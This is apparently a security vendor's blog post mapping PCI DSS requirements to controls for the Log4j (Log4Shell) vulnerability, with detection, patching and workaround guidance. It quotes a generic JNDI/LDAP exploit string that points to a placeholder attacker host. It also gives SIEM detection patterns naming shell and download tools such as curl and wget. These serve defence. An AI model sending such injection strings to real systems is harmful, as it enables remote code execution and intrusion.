The Apache Log4j vulnerability is extremely widespread and can affect enterprise applications. If left unpatched, attackers could use this vulnerability to take over computer systems, applications and devices, and infiltrate enterprise networks. This incident merits involvement at all levels of the organization, including the CEO, CIO, CISO and board of directors. During this uncertainty this blog may help you remain compliant with PCI DSS standard while dealing with Log4j vulnerability.
Log4j vulnerability and mapping of PCI DSS requirements
Following table depicts the PCI DSS requirements and controls to be implemented by customers or reviewed by PCI DSS Qualified Security Assessor (QSA) in order to confirm that the Log4j vulnerability is not affecting the scope of PCI DSS assessment.
| PCI DSS Requirement | Controls to be implemented/reviewed |
|---|---|
| Requirement-1 | Ensure that all the outgoing traffic from your IT Infrastructure is authorized and going to only known trusted destinations. There is no allow all outgoing rule on your internet firewalls. Restrict access to your resources to known/trusted locations or networks. |
| Requirement-2 | List all the applications in your inventory to find out which of those are using Log4j component. Review the versions of Log4j used and follow the section mitigation section. |
| Requirement-4 | List all the public facing application URL’s and check if any of these applications are using Log4j components and if Log4j found, follow the section mitigation section. |
| Requirement-5 | Log4j is an easily exploitable remote code execution vulnerability and therefore malware distributors are using it wildly to infect systems and networks to install crypto miners, botnets, drop beacons etc. Update the Antivirus software and signatures to ensure it can detect all such known malwares. Review logs for any detections of malware. |
| Requirement-6 | Update all the instances of Log4j applications with the latest versions. Refer to mitigation section. Use WAF to detect the any malicious attacks using Log4j vulnerability. For AWS To improve detection and mitigation of risks arising from the Log4j security issue, AWS has updated the rules in the AWS WAF service. Further information can be found on below link: https://aws.amazon.com/security/security-bulletins/AWS-2021-005/ For Modsecurity WAF – Refer to following link which provides rule for Log4j detection. Successful exploitation of this vulnerability requires that you’ve ignored several secure coding principles. Data from untrusted sources (i.e., user-controlled input) should generally not be concatenated into log files without sanitization. This is especially true when the data is from an unauthenticated origin, whether human users or other applications. Data flowing into sensitive areas such as databases and logs that may be rendered to others should be subjected to output validation. |
| Requirement-7 | Initiating communication with outside hosts should always be locked down to the bare minimum. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. |
| Requirement-8 | Enable MFA for all access to all resources to prevent probing using accounts with compromised passwords due to Log4j exploitation. |
| Requirement-10 | SIEM systems must be equipped to detect any logs with strings such as “${jndi: *}”. Monitor all outbound connections made by parent process “java” with child process containing “sh, bash, ksh, tcsh, curl, perl, python, ruby, pho, or wget.”. Search for all the known footprints in the log files of your applications. Manual approach is another best possible approach. You can use GitHub Repository to lists all the commands that you can use to check compressed or non-compressed logs files within your Linux or Windows servers. |
| Requirement-11 | Ensure that vulnerability scanners have plugins/capability to detect this vulnerability. Run the scan to specifically detect this vulnerability. Minimize the lead time from vulnerability discovery to your team becoming aware. Maximize the ability to respond and identify which applications utilize the component. Streamline the ability to recover—quickly patch the affected applications or put compensating controls in place. |
| Requirement-12 | Ensure that incident management is specifically triggered to identify network traffic anomalies where there is abnormal ingress and egress traffic with use of abnormal network ports. Identify devices directly connecting to IPs instead of domains via the proxy. Look for traffic pointing to abnormal data transfers out of the network. Monitor abnormal user agent strings and alert when there is change of user agent by user in the same session. Alert on all the instances where there is anomalies related to use of PowerShell, presence of Base64 strings in command line execution and ping command on hex encoded IP address. Conduct vendor risk assessment to identify in-scope vendors that are impacted by the vulnerability and the risks their impacts pose on your organization. |
What is the Log4j vulnerability?
Overview: Log4j is a java library used broadly in enterprise system and web applications. This vulnerability, when exploited, allows the attacker to remotely inject code into services that use this library, with system-level privileges, allowing them to send requests to any application on the server as well as retrieve information about the system itself or, in the worst-case scenario, get full control of the environment by sending a request like this one: ${jndi:ldap://<atttackerhost>:<port>/a}
CVEs: CVE-2021-44228 and CVE-2021-45046
AKA: Log4Shell, Log4Jam
Cause: It is caused by a bug in the Log4j library that can allow attackers to gain control over log messages to execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
Affected Version: From Log4j 2.0-beta9 to 2.15.1
Impact: Once weaponized it could allow a complete takeover of vulnerable systems from a remote and unauthenticated attacker.
How does the Log4Shell vulnerability work?
The vulnerability specifically exists in the Java Naming and Directory Interface (JNDI) implementation and can be triggered using a malformed LDAP request, making it easy for an attacker to retrieve a payload from a remote server and execute it locally. Here are simple steps attacker performs against application running vulnerable version of Log4j:
How to detect Log4j vulnerability within your network/systems?
Simple method is to search within your IT Infrastructure, looking for mention of “log4j” and “jdk” may return results and be a starting point from which to locate software that may need to be upgraded or have compensating control applied. You can use ControlCase data discovery to a search for “log4j” string from one system into your entire network in centralized manner.
Log4j may also be present in other files as a bundle or as a shaded library. Microsoft advises customers to do an extensive search beyond log4j-core-*.jar files.
You can use ControlCase Vulnerability Management service to scan your network for existence of Log4j vulnerability.
How to mitigate Log4j vulnerability risk?
Quickest and easiest method is to apply patch of Log4j 2.16.0 or later.
In Log4j 2.12.2 (for Java 7) and 2.16.0 (for Java 8 or later) the message lookups feature has been completely removed. In addition, JNDI is disabled by default and other default configuration settings are modified.
Remember that there is a message lookup substitution option which can be enabled/disabled in Log4j 2.15.0, and this behaviour has been disabled by default in 2.16.0. From version 2.16.0, this functionality has been completely removed. Therefore, upgrade Apache Log4j to 2.16.0 or later (logging.apache.org).
What are the workarounds/compensating controls to mitigate risk of Log4j Vulnerability?
Following workarounds can be used as compensating controls if you are not able to apply complete security update for all releases of Log4j 2.x prior to 2.16.0. An application restart will be required for these changes to take effect
-
-
- Prevent the JndiLookup.class file from being loaded in the application’s classpath.
Customers can do this by deleting the class from affected JAR files. For example:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class - For Log4j versions 2.10 to 2.14.1, disable message lookup. To disable the vulnerable feature, change log4j2.formatMsgNoLookups to be set to ‘true’. Ensure this parameter is configured in the start-up scripts of the Java Virtual Machine:
-Dlog4j2.formatMsgNoLookups=true. - Alternatively, customers using Log4j 2.10 to 2.14.1 may set the LOG4J_FORMAT_MSG_NO_LOOKUPS=” true” environment variable to force this change.
- Kubernetes administrators may use “kubectl set env” to set the LOG4J_FORMAT_MSG_NO_LOOKUPS=” true” environment variable to apply the mitigation across Kubernetes clusters where the Java applications are running Log4j 2.10 to 2.14.1, effectively reflecting on all pods and containers automatically.
- Prevent the JndiLookup.class file from being loaded in the application’s classpath.
-